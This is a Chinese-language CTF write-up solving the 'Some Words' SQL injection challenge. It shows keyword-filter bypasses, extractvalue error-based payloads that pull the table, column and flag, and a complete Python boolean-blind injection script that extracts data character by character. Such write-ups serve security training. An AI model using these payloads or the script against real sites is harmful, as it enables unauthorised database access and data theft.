题目:Some Words
事先不知道有这个比赛,同学在群里发的链接,正好是自己感兴趣的注入,抱着学习的心态借同学的号做了一下
进入题目链接,很明显是道注入题,先fuzz了一下,大致过滤了部分关键字如下:
',and,union,where,=,updatexml,rand,group_concat等
一看就是黑名单过滤,虽然过滤了很多关键字,但是很容易绕过,在这我说两种注入方法:
报错注入
虽然过滤了updatexml,rand等报错注入关键字,但是没有过extractvalue
,过滤了and,可以用or代替,过滤了=可以用like代替,所以可以构造payload:
?id=1 or extractvalue(1,concat(0x3a,database(),0x3a))--+
,
用extractvalue函数的特性报错爆出当前数据库名为words
,该报错原理是因为extractvalue函数的第二个参数必须为XPATH格式的,但是concat连接函数返回的是字符串,格式不符合,所以报错并显示出该字符串的内容,接下来构造payload:
?id=1 or extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema like database() limit 0,1),0x3a))--+
爆出words数据库下的第一个表名为f14g
,用双引号代替单引号继续构造payload:
?id=1 or extractvalue(1,concat(0x3a,(select column_name from information_schema.columns where table_name like "f14g" limit 0,1),0x3a))--+
爆出f14g表下存在一个名为f14g的列名,于是构造payload:
?id=1 or extractvalue(1,concat(0x3a,(select f14g from f14g),0x3a))--+
发现这个payload是不完整的,显示的是前31个字节,我们查一下长度:
?id=1 or extractvalue(1,concat(0x3a,(select length(f14g) from f14g),0x3a))--+
结果为42
构造
?id=1 or extractvalue(1,concat(0x3a,(select substr(f14g,1,31) from f14g),0x3a))--+
?id=1 or extractvalue(1,concat(0x3a,(select substr(f14g,32,42) from f14g),0x3a))--+
读取完整f14g:flag{93303476-a738-441b-9800-90719f16eb85}
注:f14g是随机生成的,每一次做题f14g都不一样
bool盲注
过滤了and,我们可以用or(或)或者是^(位异或)进行逻辑判断,编写py脚本:
import requests
def gettablelen(url):
i=1
while 1:
payload=url+"?id=-1 or (select length(table_name) from information_schema.tables where table_schema like database() limit 0,1) like %d--+"%(i)
html=requests.get(url=payload).content
if html.find("Hello Hacker!!")!=-1:
print "table length:%d"%(i)
break
else:
i=i+1
return i
def gettable(url,len):
table=""
for i in range(1,len+1):
for j in range(255):
payload=url+"?id=-1 or ascii(substr((select table_name from information_schema.tables where table_schema like database() limit 0,1),%d,1)) like %d--+"%(i,j)
html=requests.get(url=payload).content
if html.find("Hello Hacker!!")!=-1:
print chr(j)
table=table+chr(j)
break
return table
def getcolumnlen(url,table):
i=1
while 1:
payload=url+'?id=-1 or (select length(column_name) from information_schema.columns where table_name like "%s" limit 0,1) like %d--+'%(table,i)
html=requests.get(url=payload).content
if html.find("Hello Hacker!!")!=-1:
print "column length:%d"%(i)
break
else:
i=i+1
return i
def getcolumn(url,len,table):
column=""
for i in range(1,len+1):
for j in range(255):
payload=url+'?id=-1 or ascii(substr((select column_name from information_schema.columns where table_name like "%s" limit 0,1),%d,1)) like %d--+'%(table,i,j)
html=requests.get(url=payload).content
if html.find("Hello Hacker!!")!=-1:
print chr(j)
column=column+chr(j)
break
return column
def getflaglen(url,table,column):
i=1
while 1:
payload=url+'?id=-1 or (select length(%s) from %s limit 0,1) like %d--+'%(column,table,i)
html=requests.get(url=payload).content
if html.find("Hello Hacker!!")!=-1:
print "flag length:%d"%(i)
break
else:
i=i+1
return i
def getflag(url,table,column,len):
flag=""
for i in range(1,len+1):
for j in range(255):
payload=url+'?id=-1 or ascii(substr((select %s from %s limit 0,1),%d,1)) like %d--+'%(column,table,i,j)
html=requests.get(url=payload).content
if html.find("Hello Hacker!!")!=-1:
print chr(j)
flag=flag+chr(j)
break
return flag
def main():
url="http://cdb627a8a4974a5f92615994c9e6199abda58b73f6364df1.game.ichunqiu.com/index.php"
tlen=gettablelen(url)
table=gettable(url,tlen)
print table
clen=getcolumnlen(url,table)
column=getcolumn(url,clen,table)
print "%s column is %s"%(table,column)
flen=getflaglen(url,table,column)
print "flag len:%d"%(flen)
flag=getflag(url,table,column,flen)
print flag
if __name__=='__main__':
main()